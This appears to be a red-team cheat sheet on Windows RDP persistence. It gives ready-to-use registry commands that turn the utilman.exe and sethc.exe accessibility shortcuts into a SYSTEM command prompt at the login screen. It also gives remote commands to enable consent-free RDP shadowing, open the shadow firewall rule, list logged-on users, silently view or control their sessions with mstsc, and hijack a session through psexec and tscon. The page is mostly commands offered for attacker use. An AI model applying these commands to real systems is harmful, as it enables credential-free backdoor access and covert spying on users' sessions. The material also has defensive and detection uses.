4.2 KiB
RDP - Persistence
RDP Backdoor
An RDP backdoor is a malicious technique where an attacker replaces the legitimate binary files of utility manager (utilman.exe) or sticky keys (sethc.exe) with a command prompt (cmd.exe) executable. This allows the attacker to gain unauthorized access to the system by launching a command prompt when the ease of access or sticky keys button is pressed on the login screen, bypassing the need for authentic credentials.
utilman.exe
At the login screen, press Windows Key+U, and you get a cmd.exe window as SYSTEM.
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
sethc.exe
Hit F5 a bunch of times when you are at the RDP login screen.
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
RDP Shadowing
RDP shadowing is a feature of Remote Desktop Protocol (RDP) that allows a remote user to view or control another user's active RDP session on a Windows computer. This feature is typically used for remote assistance, training, or collaboration purposes, allowing one user to observe or take control of another user's desktop, applications, and input devices as if they were physically present at the computer.
Requirements
TermServicemust be runningsc.exe \\MYSERVER query TermService sc.exe \\MYSERVER start TermServiceSYSTEMprivilege or the account's password
Enable RDP Shadowing
Shadow Remote Desktop Session can be enabled by editing the HKLM\Software\Policies\Microsoft\Windows NT\Terminal Services registry key.
| Value | Name | Description |
|---|---|---|
| 0 | Disable | Remote control is disabled. |
| 1 | EnableInputNotify | The user of remote control has full control of the user's session, with the user's permission. |
| 2 | EnableInputNoNotify | The user of remote control has full control of the user's session; the user's permission is not required. |
| 3 | EnableNoInputNotify | The user of remote control can view the session remotely, with the user's permission; the remote user cannot actively control the session. |
| 4 | EnableNoInputNoNotify | The user of remote control can view the session remotely, but not actively control the session; the user's permission is not required. |
Usually you want to be able to see and interact with the Remote Desktop: option 2 EnableInputNoNotify.
reg.exe query "\\MYSERVER\HKLM\Software\Policies\Microsoft\Windows NT\Terminal Services" /V Shadow
reg.exe add "\\MYSERVER\HKLM\Software\Policies\Microsoft\Windows NT\Terminal Services" /V Shadow /T REG_DWORD /D 2 /F
If you encounter any trouble with the network, enable the Remote Desktop - Shadow (TCP-In) firewall rule.
$so = New-CimSessionOption -Protocol Dcom
$s = New-CimSession -ComputerName MYSERVER -SessionOption $so
$fwrule = Get-CimInstance -Namespace ROOT\StandardCimv2 -ClassName MSFT_NetFirewallRule -Filter 'DisplayName="Remote Desktop - Shadow (TCP-In)"' -CimSession $s
$fwrule | Invoke-CimMethod -MethodName Enable
Enumerate active users
Query to enumerate active users on the machine.
quser.exe /SERVER:MYSERVER
query.exe user /server:MYSERVER
qwinsta.exe /server:MYSERVER
Use the shadow mode
Use the noConsentPrompt parameter and specify the session ID obtained from the previous command.
MSTSC [/v:<server[:port]>] /shadow:<sessionID> [/control] [/noConsentPrompt]
mstsc /v:SRV2016 /shadow:1 /noConsentPrompt
mstsc /v:SRV2016 /shadow:1 /noConsentPrompt /control
On older version you have to use tscon.exe instead.
psexec -s cmd
cmd /k tscon 2 /dest:console